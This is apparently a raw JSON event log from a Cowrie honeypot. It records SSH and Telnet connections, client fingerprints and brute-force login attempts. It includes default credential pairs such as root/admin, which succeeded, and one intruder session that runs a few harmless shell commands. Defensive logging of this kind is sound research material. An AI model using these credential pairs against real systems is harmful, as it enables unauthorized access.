{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:08.544765Z","src_ip":"60.199.224.2","session":"2bf5aec3d171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"admin","message":"login attempt [test/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:09.371853Z","src_ip":"60.199.224.2","session":"2bf5aec3d171","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:10.572634Z","src_ip":"60.199.224.2","session":"2bf5aec3d171","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":58782,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a16ea9e2317","protocol":"ssh","message":"New connection: 103.176.20.115:58782 (10.17.0.5:22) [session: 7a16ea9e2317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:20.290754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:20.299687Z","src_ip":"103.176.20.115","session":"7a16ea9e2317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:20.546288Z","src_ip":"103.176.20.115","session":"7a16ea9e2317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":38814,"dst_ip":"159.203.135.109","dst_port":23,"session":"857d7f3ea538","protocol":"telnet","message":"New connection: 192.211.53.160:38814 (159.203.135.109:23) [session: 857d7f3ea538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:20.836976Z"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:21.563040Z","src_ip":"103.176.20.115","session":"7a16ea9e2317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:22.813532Z","src_ip":"103.176.20.115","session":"7a16ea9e2317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01060652732849,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:32.250716Z","src_ip":"181.189.73.151","session":"067ec99d46c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.189.73.151","src_port":62209,"dst_ip":"10.17.0.5","dst_port":23,"session":"5119b30a1775","protocol":"telnet","message":"New connection: 181.189.73.151:62209 (10.17.0.5:23) [session: 5119b30a1775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:32.822533Z"}
{"eventid":"cowrie.session.closed","duration":120.00156235694885,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:32.909304Z","src_ip":"181.189.73.151","session":"5e8230870d7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.72563648223877,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:33.194903Z","src_ip":"45.81.23.16","session":"bd8bf347327e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.189.73.151","src_port":62108,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8bbe699af27","protocol":"telnet","message":"New connection: 181.189.73.151:62108 (10.17.0.5:23) [session: b8bbe699af27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:33.618495Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.182","src_port":14113,"dst_ip":"10.17.0.5","dst_port":22,"session":"016c049b1d1d","protocol":"ssh","message":"New connection: 177.36.200.182:14113 (10.17.0.5:22) [session: 016c049b1d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:34.038550Z"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:34.438073Z","src_ip":"177.36.200.182","session":"016c049b1d1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.182","src_port":14187,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dee95a703f4","protocol":"ssh","message":"New connection: 177.36.200.182:14187 (10.17.0.5:22) [session: 8dee95a703f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:34.831754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:34.838266Z","src_ip":"177.36.200.182","session":"8dee95a703f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:35.235928Z","src_ip":"177.36.200.182","session":"8dee95a703f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.614413261413574,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:36.342478Z","src_ip":"38.54.119.93","session":"8c77dc9158be","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:36.426494Z","src_ip":"177.36.200.182","session":"8dee95a703f4","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:37.267859Z","src_ip":"177.36.200.182","session":"8dee95a703f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.282612323760986,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:37.529343Z","src_ip":"192.211.53.160","session":"25da598031ef","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:37.667910Z","src_ip":"177.36.200.182","session":"8dee95a703f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.605942249298096,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:38.970599Z","src_ip":"192.211.53.160","session":"223ea0554373","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"?","message":"CMD: ?","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:39.083057Z","src_ip":"177.36.200.182","session":"8dee95a703f4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"? ","message":"Command not found: ? ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:39.087407Z","src_ip":"177.36.200.182","session":"8dee95a703f4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:39.090984Z","src_ip":"177.36.200.182","session":"8dee95a703f4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:39.094417Z","src_ip":"177.36.200.182","session":"8dee95a703f4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls","message":"CMD: ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:40.100711Z","src_ip":"177.36.200.182","session":"8dee95a703f4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~","message":"CMD: cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:41.114676Z","src_ip":"177.36.200.182","session":"8dee95a703f4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"> a6s87d6as8zdgtdyas.ini","message":"CMD: > a6s87d6as8zdgtdyas.ini","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:42.145808Z","src_ip":"177.36.200.182","session":"8dee95a703f4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls","message":"CMD: ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:43.145363Z","src_ip":"177.36.200.182","session":"8dee95a703f4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"exit","message":"CMD: exit","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:44.161181Z","src_ip":"177.36.200.182","session":"8dee95a703f4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/65afc616b4933530942215be4e78dcb15c7f4f9f8a87de643b46552e10a54924","size":596,"shasum":"65afc616b4933530942215be4e78dcb15c7f4f9f8a87de643b46552e10a54924","duplicate":true,"duration":"6.5","message":"Closing TTY Log: var/lib/cowrie/tty/65afc616b4933530942215be4e78dcb15c7f4f9f8a87de643b46552e10a54924 after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:44.167277Z","src_ip":"177.36.200.182","session":"8dee95a703f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:45.177343Z","src_ip":"177.36.200.182","session":"8dee95a703f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48970,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0bad2fb0918","protocol":"telnet","message":"New connection: 62.210.97.77:48970 (10.17.0.5:23) [session: a0bad2fb0918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:52.868682Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":2798,"dst_ip":"10.17.0.5","dst_port":22,"session":"197186e2430b","protocol":"ssh","message":"New connection: 177.85.247.230:2798 (10.17.0.5:22) [session: 197186e2430b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:55.703348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:55.707988Z","src_ip":"177.85.247.230","session":"197186e2430b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:55.810884Z","src_ip":"177.85.247.230","session":"197186e2430b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix@123","message":"login attempt [bitrix/bitrix@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:56.249029Z","src_ip":"177.85.247.230","session":"197186e2430b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:57.355133Z","src_ip":"177.85.247.230","session":"197186e2430b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.37311816215515,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:00:58.667779Z","src_ip":"38.54.119.93","session":"afb9f4ce5521","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.97740626335144,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:00.814264Z","src_ip":"192.211.53.160","session":"857d7f3ea538","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":54408,"dst_ip":"159.203.135.109","dst_port":22,"session":"36cc9f83a7c8","protocol":"ssh","message":"New connection: 61.72.55.130:54408 (159.203.135.109:22) [session: 36cc9f83a7c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:01.374835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:01.380032Z","src_ip":"61.72.55.130","session":"36cc9f83a7c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:01.576663Z","src_ip":"61.72.55.130","session":"36cc9f83a7c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234567890","message":"login attempt [deploy/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:02.401055Z","src_ip":"61.72.55.130","session":"36cc9f83a7c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:03.602606Z","src_ip":"61.72.55.130","session":"36cc9f83a7c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.182","src_port":17262,"dst_ip":"10.17.0.5","dst_port":22,"session":"922d1b4dd89e","protocol":"ssh","message":"New connection: 177.36.200.182:17262 (10.17.0.5:22) [session: 922d1b4dd89e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:05.589103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:05.594526Z","src_ip":"177.36.200.182","session":"922d1b4dd89e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:05.994600Z","src_ip":"177.36.200.182","session":"922d1b4dd89e","protocol":"ssh"}
